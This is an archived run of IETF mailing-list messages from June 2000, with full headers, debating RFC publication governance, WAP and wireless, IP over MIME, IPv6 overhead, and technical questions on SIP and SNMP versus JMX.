Received: from sp3at21.hursley.ibm.com (sp3at21.hursley.ibm.com [9.20.45.21]) by mail-gw.hursley.ibm.com (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id RAA96486; Tue, 27 Jun 2000 17:07:10 +0100
Received: from hursley.ibm.com (gsine01.us.sine.ibm.com [9.14.6.41]) by sp3at21.hursley.ibm.com (AIX4.2/UCB 8.7/8.7.3) with ESMTP id RAA18176; Tue, 27 Jun 2000 17:06:01 +0100 (BST)
Message-ID: <3958D06E.739BA349@hursley.ibm.com>
Date: Tue, 27 Jun 2000 11:03:58 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Valdis.Kletnieks@vt.edu
CC: narakamath@lightel.com, phil@nesser.com, iepg@iepg.org, nanog@nanog.org,
        ietf@ietf.org
Subject: Re: IEPG Meeting - IP Addressing
References: <20000625150103.16638.cpmta@c014.sfo.cp.net> <200006261532.e5QFWaP27902@black-ice.cc.vt.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Valdis.Kletnieks@vt.edu wrote:
> 
> On Sun, 25 Jun 2000 08:01:03 PDT, narakamath@lightel.com said:
> > IPv4 is running out of space but IPv6 is too much overhead.
> 
> You'd get a lot more usable response if you explained WHY you felt IPv6 is
> too much overhead.  Often, the complaint is (for example) "It takes too long
> to send a packet on a modem/PPP link", but they didn't have any IPv6 header
> compression enabled, or some similar problem.

In any case this would be a pretty pointless discussion in the IEPG context.

  Brian



From owner-ietf-outbound  Tue Jun 27 12:30:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA17609
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 12:30:04 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17148
	for <ietf@ietf.org>; Tue, 27 Jun 2000 12:12:35 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 136xyB-00013B-00; Tue, 27 Jun 2000 17:12:15 +0100
Date: Tue, 27 Jun 2000 17:12:06 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Valdis.Kletnieks@vt.edu
cc: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>,
        IETF Mailing List <ietf@ietf.org>
Subject: Re: The Non-IETF Informational RFC Publication Fiction 
In-Reply-To: <200006271544.e5RFi3P11666@black-ice.cc.vt.edu>
Message-ID: <Pine.GSO.4.21.0006271706390.7021-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Tue, 27 Jun 2000 Valdis.Kletnieks@vt.edu wrote:

> On Tue, 27 Jun 2000 15:01:23 -0000, Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>  said:
> > The Real component is that IETF/IESG/IAB is well on its way towards
> > becoming a cult violating all published procedures. IETF/IESG/IAB now
> > claims full ownership of the RFC Publication process and quashes
> 
> Of course it has full ownership. 

...apart from the actual copyright, which is owned by the Internet
Society, since the IETF/IESG/IAB are not legally formalised. Unlike
the examples below.

L.

> They're *IETF* RFCs after all.  Just like
> Microsoft claims ownership of Microsoft documentation, and the ITU claims
> ownership of its recommendations, and the W3C claims ownership of its stuff.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Tue Jun 27 12:40:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA17903
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 12:40:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17865
	for <ietf@ietf.org>; Tue, 27 Jun 2000 12:39:12 -0400 (EDT)
Received: (qmail 15788 invoked by uid 100); 27 Jun 2000 16:38:48 -0000
Date: 27 Jun 2000 16:38:48 -0000
Message-ID: <20000627163848.15787.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: Bob Braden <braden@ISI.EDU>
Cc: ietf@ietf.org, public@mohsen.banan.1.byname.net
Subject: Re: The Non-IETF Informational RFC Publication Fiction
In-Reply-To: <200006271548.PAA03441@gra.isi.edu>
References: <200006271548.PAA03441@gra.isi.edu>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Tue, 27 Jun 2000 15:48:50 GMT, Bob Braden <braden@ISI.EDU> said:

  Mohsen>
  Mohsen> The Real component is that IETF/IESG/IAB is well on its way towards
  Mohsen> becoming a cult violating all published procedures. IETF/IESG/IAB now
  Mohsen> claims full ownership of the RFC Publication process and quashes
  Mohsen> whatever may want to compete with it or that it does not
  Mohsen> like. IETF/IESG/IAB often inserts notes in Non-IETF Informational RFCs
  Mohsen> which go above and beyond the scope and purpose of IESG
  Mohsen> review. IETF/IESG/IAB often regards the RFC-Editor as merely its
  Mohsen> agent. IESG/IAB has become a group of irresponsible volunteers who
  Mohsen> consider themselves accountable to no one.
  Mohsen>

  Bob> Mohsen,

  Bob> One of the advantages of becoming a geezer is that you get to say what
  Bob> you REALLY think.  However, good taste prevents my telling you in public
  Bob> what I REALLY think about your message.

  Bob> I would like to remind you that, had the RFC Editor been "a mere
  Bob> agent" of the IESG, your EMSD RFC 2524 would not have been
  Bob> published at all.

That is true.

In the case of RFC-2524, the RFC Editor did demonstrate
independence. I believe I also played a significant role in
establishing the RFC Editor's independence based on my insistence on
doing it by the book.

Complete communication records related to publication of RFC-2524 are
available through http://www.emsd.org/


In the case of RFC-2188, the RFC Editor did *nothing* and just waited
for the IESG for more than 7 months. That is well documented.

I have heard of various other reports of IESG's interference. See DJB's
case study for example ...


My exact words were:

  Mohsen> IETF/IESG/IAB often regards the RFC-Editor as merely its agent.
                        ^^^^^

That is why I said, "often".


...Mohsen.



From owner-ietf-outbound  Tue Jun 27 13:30:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA18846
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 13:30:02 -0400 (EDT)
Received: from marcos.networkcs.com (marcos.networkcs.com [137.66.16.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18704
	for <ietf@ietf.org>; Tue, 27 Jun 2000 13:26:53 -0400 (EDT)
Received: from us.networkcs.com (us.networkcs.com [137.66.11.15])
	by marcos.networkcs.com (8.9.3/8.9.3) with ESMTP id MAA36543
	for <ietf@ietf.org>; Tue, 27 Jun 2000 12:26:54 -0500 (CDT)
	(envelope-from salo@us.networkcs.com)
Received: (from salo@localhost)
	by us.networkcs.com (8.9.2/8.9.2) id MAA45067
	for ietf@ietf.org; Tue, 27 Jun 2000 12:26:53 -0500 (CDT)
	(envelope-from salo)
Date: Tue, 27 Jun 2000 12:26:53 -0500 (CDT)
From: Tim Salo <salo@networkcs.com>
Message-Id: <200006271726.MAA45067@us.networkcs.com>
To: ietf@ietf.org
Subject: Re: The Non-IETF Informational RFC Publication Fiction
In-Reply-To: <20000627163848.15787.qmail@tooran.byname.net>
X-Loop: ietf@ietf.org

> Date: 27 Jun 2000 16:38:48 -0000
> From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
> Subject: Re: The Non-IETF Informational RFC Publication Fiction
> 	[...]
> I believe I also played a significant role in
> establishing the RFC Editor's independence based on my insistence on
> doing it by the book.
> 	[...]

And, Al Gore is the father of the Internet...

-tjs



From owner-ietf-outbound  Tue Jun 27 14:10:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA19620
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 14:10:01 -0400 (EDT)
Received: from pntsmtp02.hq.espire.net (smtp1.espire.net [206.222.96.209])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19525
	for <ietf@ietf.org>; Tue, 27 Jun 2000 14:07:51 -0400 (EDT)
Received: FROM pntsmtp02.hq.espire.net BY pntsmtp02.hq.espire.net ; Tue Jun 27 14:08:14 2000 -0400
Received: by PNTSMTP02.hq.espire.net with Internet Mail Service (5.5.2650.21)
	id <MM579SM3>; Tue, 27 Jun 2000 14:08:14 -0400
Message-ID: <11C39F7E0407D411AF1000D0B7475FDE4A9524@PNTEXCH04.hq.espire.net>
From: "Taylor, Johnny" <Johnny.Taylor@espire.net>
To: Dan Kohn <dan@dankohn.com>, "Taylor, Johnny"
	 <Johnny.Taylor@espire.net>,
        "Donald E. Eastlake 3rd"
	 <dee3@TORQUE.POTHOLE.COM>, ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Tue, 27 Jun 2000 14:05:21 -0400
Return-Receipt-To: "Taylor, Johnny" <Johnny.Taylor@espire.net>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Well I would beg to differ on your narrow position. Being apart of
Telecommunications @ the National Sales Manager level
I see the impact of IP on our personal network in conjunction with a lot of
Fortune 1000 company's networks and I have concluded the next transport
technology battle will be between Optics & Wireless. Optics is currently
making major inroads into the transport arena however when I evaluate
density in the two technologies I clearly see more potential in terms of
growth for Wireless. Now to go back to Teledesic; once you overstand network
topologies you come to know their are three primary areas / ways to delivery
Sat Traffic (Teledesic). One Down Link Facilities, Two Data Centers, Three
Carrier's Networks; when you look further into these termination point there
are also several ways to get that data to the last mile (Bell's Network
(Copper or Fiber), Wireless Network (Fixed or Mobile), or some other
Carrier's Network via Copper, Fiber-Optics, or wireless again for that
matter. Now here is the most important point to keep close to your brain;
The Cost Difference in Infra-Structure Deployment. 

Example:	Fiber cost 50$ per foot (build out & Buried vs. Aerial) or
264K per mile

		Wireless Deployment is Fixed @ equipment cost for the
antenna & electronics (25K)
	
 				Note: the fiber bill is with no electronics


In conclusion due to the economic difference in the two technologies I fore
see more growth in Wireless and this in turn is directly related to WAP;
this is why I made the initial statement. Think about the 3rd world nations
that have no infrastructure. Which way do you think they will go?

Coming from the Brain,

JT


-----Original Message-----
From: Dan Kohn [mailto:dan@dankohn.com]
Sent: Monday, June 26, 2000 7:37 PM
To: Taylor, Johnny; Donald E. Eastlake 3rd; ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


I certainly hope you're joking.

If not, I can say definitively that this is certainly not Teledesic's view
of the world.  Teledesic (and it's sister network ICO) are being designed to
be great platforms for carrying IP.  (That means they will also be able to
do WAP, but that is hardly the focus.)

http://www.teledesic.com
http://www.ico.com

		- dan
--
Daniel Kohn <mailto:dan@dankohn.com>
tel:+1-425-602-6222
http://www.dankohn.com

-----Original Message-----
From: Taylor, Johnny [mailto:Johnny.Taylor@espire.net]
Sent: Wednesday, 2000-06-21 08:48
To: Donald E. Eastlake 3rd; ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


All,

I have seen a lot of different people bash WAP over the past two days.
However, I
am a firm believer that WAP will become what IP is to us today. When you
relate the 
technologies of today and the future technologies from a Telecommunication
stand point.
Then you will find IP is on the rise today and various Platforms are
integrating or
converging IP to their core networks. But when you equate the moves that are
taking
place for future solutions to the commercial or residential market. such as
The Teledesic 
Model or AOL or Manasamen; then you began to get a glimpse 
of the future of WAP. Therefore I think it becomes quite important for this
group to 
keep WAP as one of the main protocols of discussion / solutions. That's my
take on WAP!

Coming from the Brain!

JT 


-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
Sent: Wednesday, June 21, 2000 7:31 AM
To: ietf@ietf.org
Subject: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)


See <ftp://ftp.ietf.org//internet-drafts/draft-eastlake-ip-mime-03.txt>.

Donald

From:  Magnus Danielson <magda@netinsight.se>
To:  mohta@necom830.hpcl.titech.ac.jp
Cc:  karn@QUALCOMM.COM, public@mohsen.banan.1.byname.net, ietf@ietf.org
In-Reply-To:  <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
References:  <200006202022.NAA27444@servo.qualcomm.com>
	    	<200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
Message-Id:  <20000621104040S.magda@netinsight.se>
Date:  Wed, 21 Jun 2000 10:40:40 +0200

>From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
>Subject: Re: WAP Is A Trap -- Reject WAP
>Date: Wed, 21 Jun 0 5:42:32 JST
>
>> Phil;
>> 
>> > >IP over NAT is, in no way, end-to-end.
>> > 
>> > >WAP and IP over NAT are equally bad.
>> > 
>> > I think you're overstating your case. Yes, IP over NAT is bad, but
>> > it's nowhere near as bad as WAP.
>> 
>> If you think so, don't say "end-to-end".
>> 
>> > If you want, it is still possible to "reconstruct" a true end-to-end
>> > IP service by tunneling it through a NAT with something vaguely
>> > resembling mobile IP.
>> 
>> You can have IP over HTTP, IP over XML or IP over WAP equally easily.
>
>With IP over MIME you could even establish an IP connection over a mail
>gateway, firewall bypassing... Hmm.... the same goes for http proxies.
>
>> The problem, however, is that the reconstruction point is an
>> intelligent gateway which violates the end to end principle.
>
>Havent we learned to love and hate these breaking of layering?
>
>You can put basically anything over anything else when it comes to just
moving
>bits around. While doing this we get the additional benefits of increased
>propagation delay, increased overhead, often complexer solutions and a new
>bag of problems in the interworking area. Lovely. We can feed a lot of
>research and engineer mouths this way.
>
>Now, while NAT and WAP both intend to solve some problems, they provide
ground
>for new problems which naturally require new solutions. We should really
ask
>weither some of these problems really should be solved within that scope or
>not. If IP over WAP is a bag of worms, maybe one should bypass WAP
alltogether.
>Where we know that neither ATM, IP or NAT solves all the problems neither
will
>WAP.
>
>It is not really what you could do as what you should do. Naturally there
is
>allways politically and technical preferences which prohibits some
solutions.
>
>Cheers,
>Magnus
>



From owner-ietf-outbound  Tue Jun 27 14:30:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA20757
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 14:30:01 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA20644
	for <ietf@ietf.org>; Tue, 27 Jun 2000 14:27:37 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA16936;
        Tue, 27 Jun 2000 14:27:29 -0400 (EDT)
Message-Id: <200006271827.OAA16936@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
cc: Bob Braden <braden@ISI.EDU>, ietf@ietf.org
Subject: Re: The Non-IETF Informational RFC Publication Fiction 
In-reply-to: Your message of "27 Jun 2000 16:38:48 -0000."
             <20000627163848.15787.qmail@tooran.byname.net> 
Date: Tue, 27 Jun 2000 14:27:29 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> In the case of RFC-2188, the RFC Editor did *nothing* and just waited
> for the IESG for more than 7 months. That is well documented.

A bit of explanation is in order.

The IESG takes its review responsibilities seriously, and cannot
always in good conscience approve the publication of a document.

In such cases the IESG tries to give feedback to the author as to 
what changes to the specification might cause it to (in the opinion
of IESG) merit publication.  Sometimes providing this feedback is 
quite difficult, especially when the specification is poorly written,
or when the author lacks knowledge about how to design a protocol 
that works well over the Internet.  (Lack of understanding about
security - including DoS attacks, and congestion avoidance, are 
common problems)

In most cases the author and IESG work out a compromise that allows
the document to be published.  But when the author stubbornly insists 
that he has the *right* to have his document published without significant 
changes, it becomes nearly impossible for the author and IESG to compromise. 

In this case IESG, knowing that the RFC Editor might choose to publish
the document over its objections, attempts to write an IESG Note that
will at least explain to readers what IESG thinks is wrong with the 
document.  This can also be quite difficult and time consuming, because
it's not always possible to rectify major problems with a brief note.

(Note that in the case of at least one of Mr. Banan's documents, the 
RFC Editor further negotated with IESG to soften the wording of the 
original IESG Note.)

The problem is not that it took 7 months for the IESG to produce a
note about one of Mr. Banan's documents, but that the review of Mr. Banan's 
documents consumed precious IESG resources that would have been better 
applied to documents (both individual submissions and working group documents)
which were more deserving of publication.  This resulted in significant 
delays in publication of the more deserving documents.

If I were to suggest any change in the RFC review and publication process,
it would be to give IESG the power to say "no" to publication of individual
submissions.  (perhaps with the possibility of formal appeal to IAB)
I do not believe that IESG would do this capriciously, and I believe 
that this would make better use of IESG resources.  And such a change would 
make it quite clear that individuals authors do NOT have the right to have 
their documents published as RFCs.

Keith (no longer on IESG, and not speaking for them)



From owner-ietf-outbound  Tue Jun 27 15:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA22251
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 15:10:02 -0400 (EDT)
Received: from host.oil.ca (IDENT:root@host.oil.ca [206.186.236.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22123
	for <ietf@ietf.org>; Tue, 27 Jun 2000 15:01:35 -0400 (EDT)
Received: from localhost (mikey@localhost)
	by host.oil.ca (8.9.3/8.9.3) with ESMTP id OAA07946;
	Tue, 27 Jun 2000 14:23:15 -0400
Date: Tue, 27 Jun 2000 14:23:14 -0400 (EDT)
From: Mike Blackstock <mikey@oil.ca>
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
cc: IETF Mailing List <ietf@ietf.org>
Subject: Re: The Non-IETF Informational RFC Publication Fiction
In-Reply-To: <20000627150123.15560.qmail@tooran.byname.net>
Message-ID: <Pine.LNX.4.10.10006271413470.7751-100000@host.oil.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org



On 27 Jun 2000, Mohsen BANAN-Public wrote:

> D.J. Bernstein concluded his case study with the following
> paragraph.
> 
> ----
> It's well known that the IETF is no longer the primary source of
> progress in Internet engineering. The only respectable activity left
> for the IAB, IESG, and IETF is to report what others have done. So I
> don't find it at all surprising that the IAB and IESG claim to have an
> open document series. Unfortunately, the claim is a lie.
> ----

Even if the above is true, it's like saying that the only respectable
activity left for Scientific American, Science, and the hundreds of
professional journals in all disciplines is "to report what others
have done". Duh.

What's your point, besides the obvious point of you being a totalitarian
frustrated with consensus-building ???

-Mike







From owner-ietf-outbound  Tue Jun 27 15:50:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA23083
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 15:50:02 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22799
	for <ietf@ietf.org>; Tue, 27 Jun 2000 15:40:08 -0400 (EDT)
Received: from zed.isi.edu (root@zed.isi.edu [128.9.160.57])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21081;
	Tue, 27 Jun 2000 12:40:09 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Received: (from bmanning@localhost)
	by zed.isi.edu (8.9.3/8.8.6) id TAA05139;
	Tue, 27 Jun 2000 19:40:46 -0700
Message-Id: <200006280240.TAA05139@zed.isi.edu>
Subject: Re: The Non-IETF Informational RFC Publication Fiction
To: moore@cs.utk.edu (Keith Moore)
Date: Tue, 27 Jun 2000 19:40:46 -0700 (PDT)
Cc: public@mohsen.banan.1.byname.net (Mohsen BANAN-Public),
        braden@ISI.EDU (Bob Braden), ietf@ietf.org
In-Reply-To: <200006271827.OAA16936@astro.cs.utk.edu> from "Keith Moore" at Jun 27, 2000 02:27:29 PM
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

% If I were to suggest any change in the RFC review and publication process,
% it would be to give IESG the power to say "no" to publication of individual
% submissions.  (perhaps with the possibility of formal appeal to IAB)
% I do not believe that IESG would do this capriciously, and I believe 
% that this would make better use of IESG resources.  And such a change would 
% make it quite clear that individuals authors do NOT have the right to have 
% their documents published as RFCs.
% 
% Keith (no longer on IESG, and not speaking for them)

I think things are headed in that general direction and I think it is a
sad state of affairs. Historically, RFCs were used to document ideas, 
both good and bad. The series covered the range of idea generation
and expression and this was encouraged by the RFC editor. Now, many 
"non-conformant" ideas are being released into the community as defacto 
documents since it is too hard to get material documented in the RFC series 
as either informational or experimental. This is in part due to the IESG/IAB
review cycle that is now part of the process.  This practice leads to 
closed environments, documentation, code and operations.  Not what I would 
have hoped for in an evolved Internet.

--bill



From owner-ietf-outbound  Tue Jun 27 16:10:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA23499
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 16:10:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA23425
	for <ietf@ietf.org>; Tue, 27 Jun 2000 16:08:06 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id QAA19042;
        Tue, 27 Jun 2000 16:07:19 -0400 (EDT)
Message-Id: <200006272007.QAA19042@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Bill Manning <bmanning@ISI.EDU>
cc: moore@cs.utk.edu (Keith Moore),
        public@mohsen.banan.1.byname.net (Mohsen BANAN-Public),
        braden@ISI.EDU (Bob Braden), ietf@ietf.org
Subject: Re: The Non-IETF Informational RFC Publication Fiction 
In-reply-to: Your message of "Tue, 27 Jun 2000 19:40:46 PDT."
             <200006280240.TAA05139@zed.isi.edu> 
Date: Tue, 27 Jun 2000 16:07:19 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> Not what I would have hoped for in an evolved Internet.

A lot has changed in the past 30 years.

The notion that 'anything is fair game' in the RFC series made a lot
more sense when the Internet was just an experimental network, and 
when packet-switched newtorking was brand new.  In such an environment
one could make the argument that all experiments in using the network
were more-or-less equally valid.

These days the value in the RFC series is not that it is a central
repository for everything having to do with Internet protocols
(as if such a repository were even feasible!) but that documents
in the series are likely to be relevant and of reasonable quality.
Indeed, were it not for the efforts of the RFC Editor and IESG to
maintain a high quality document series, folks wouldn't be nearly
so interested in having their documents published as RFCs.

Keith



From owner-ietf-outbound  Tue Jun 27 16:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA24140
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 16:40:02 -0400 (EDT)
Received: from mail.xybridge.com (IDENT:root@[209.111.160.85])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24056
	for <ietf@ietf.org>; Tue, 27 Jun 2000 16:35:17 -0400 (EDT)
Received: from yixin ([10.10.13.107])
	by mail.xybridge.com (8.9.3/8.9.3) with SMTP id OAA19443
	for <ietf@ietf.org>; Tue, 27 Jun 2000 14:48:08 -0500
From: "Yixin Zhu" <yixin@xybridge.com>
To: <ietf@ietf.org>
Subject: SIP Info vs re-invite
Date: Tue, 27 Jun 2000 15:36:03 -0500
Message-ID: <NDBBIFGHKLHKNCMEKGHACEOCCBAA.yixin@xybridge.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <200006280240.TAA05139@zed.isi.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi,

During the study of the SIP methods for implementation of some supplementary
service such as call hold, call waiting etc. It seems to me that we can use
re-invite or Info. Can some one here tell which method is better? Thanks.

For the SIP User agent available today, which method has been used in the
implementation (INFO method, or re-Invite)?

Many thinks.



Yixin Zhu




From owner-ietf-outbound  Tue Jun 27 16:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA24384
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 16:50:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24233
	for <ietf@ietf.org>; Tue, 27 Jun 2000 16:45:47 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id OAA07814
	for ietf@ietf.org  env-from <vjs>;
	Tue, 27 Jun 2000 14:43:16 -0600 (MDT)
Date: Tue, 27 Jun 2000 14:43:16 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200006272043.OAA07814@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: The Non-IETF Informational RFC Publication Fiction
X-Loop: ietf@ietf.org

> From: Bill Manning <bmanning@ISI.EDU>

> ...
> I think things are headed in that general direction and I think it is a
> sad state of affairs. Historically, RFCs were used to document ideas, 
> both good and bad. The series covered the range of idea generation
> and expression and this was encouraged by the RFC editor. Now, many 
> "non-conformant" ideas are being released into the community as defacto 
> documents since it is too hard to get material documented in the RFC series 
> as either informational or experimental. This is in part due to the IESG/IAB
> review cycle that is now part of the process.


The alternative is many more and far worse circuses.
What happens when someone writes something like
draft-terrell-logic-analy-bin-ip-spec-ipv7-ipv8-08.txt without what seems
to be that author's non-confrontational nature but with the attitudes of
D.J.Burnstein and Mohsen BANAN?

In the old days, the IETF was in fact closed because no one knew about
it, and the RFC editors did real editing.  The barriers to outsiders in
1986 were informal but much higher than they are now.  Even had he heard
of RFC's and wanted to publish some ideas as one 1985, Mohsen BANAN could
not have, at least not in the forms the modern IETF allowed.  As the public
discovered TCP/IP, the RFC printing press was in effect forced open.  The
relatively recent attempt to make the IETF a free vanity publisher is a
growing, inevitable disaster that pleases no one.

Things have changed in the last 15 or 20 years.  The publishing services
of the IETF and (and ISI) are no longer needed except for official products
of working groups and perhaps except for open mailing lists.  Each of us
can trivially operate our own vanity publishing houses.  Consider how very
much better things would have been for everyone including Mohsen BANAN
had the IETF said "those ideas are interesting, but until they have been
implementated and tested, and thereby attracted an IETF Working Group to
sponsoring them, all we can do is suggest that you mention a mailing list
and URL for your documents in the IETF mailing lists."  And similarly for
TAP vs. Ident and whichever other excitements involving DJB that Mohsen
BANAN is talking about.


>                                                This practice leads to 
> closed environments, documentation, code and operations.  Not what I would 
> have hoped for in an evolved Internet.

That is clearly wrong at least about code.  Close vs. open code has nothing
one way or another to do with the IETF's publishing polices, as
demonstrated by the closed and open implementations of offical IETF
protocols, not to mention the "individual submissions."  Besides, there
has been practically no code ever published by the IETF.  I suspect one
RFC contains most of the code in all existing RFC's.

It's also not clear that open publishing leads to open protocols or
anything else besides open (esp. vanity) publishing.  Contrast the
protocols that Microsoft has described with RFC's with the availability
of source implementing them and the chance of anyone outside Redmod fixing
or convincing anyone to fix even their most egregious and obvious bugs.

What made sense as a semi-formal way to slightly polish items discussed
in mailing lists has nothing to do with the polices, procedures and
even goals of a competitor or co-equal of the ANSI and IEEE and member
of the ITU.

The IETF should keep the best parts of the RFC process, including free
access to RFC text.  However, for better or worse, the IETF doesn't
have the organization, policies, procedures, people, or billing systems
to operate a major vanity press catering to the under appreciated
computer geniuses of the world.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Tue Jun 27 17:30:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA25212
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 17:30:02 -0400 (EDT)
Received: from mail.xybridge.com (IDENT:root@[209.111.160.85])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25166
	for <ietf@ietf.org>; Tue, 27 Jun 2000 17:28:19 -0400 (EDT)
Received: from yixin ([10.10.13.107])
	by mail.xybridge.com (8.9.3/8.9.3) with SMTP id PAA20168
	for <ietf@ietf.org>; Tue, 27 Jun 2000 15:41:11 -0500
From: "Yixin Zhu" <yixin@xybridge.com>
To: <ietf@ietf.org>
Subject: RE: SIP Info vs re-invite
Date: Tue, 27 Jun 2000 16:29:06 -0500
Message-ID: <NDBBIFGHKLHKNCMEKGHAEEODCBAA.yixin@xybridge.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <NDBBIFGHKLHKNCMEKGHACEOCCBAA.yixin@xybridge.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


SNMP is a popular management interface for fault, performance and
configuration. Recently, JMX (Java managemant extension) are getting popular
every day. I would like to know a comparision study between SNMP and JMX.
Your help is greatly appreciated.


Thanks.



Yixin Zhu

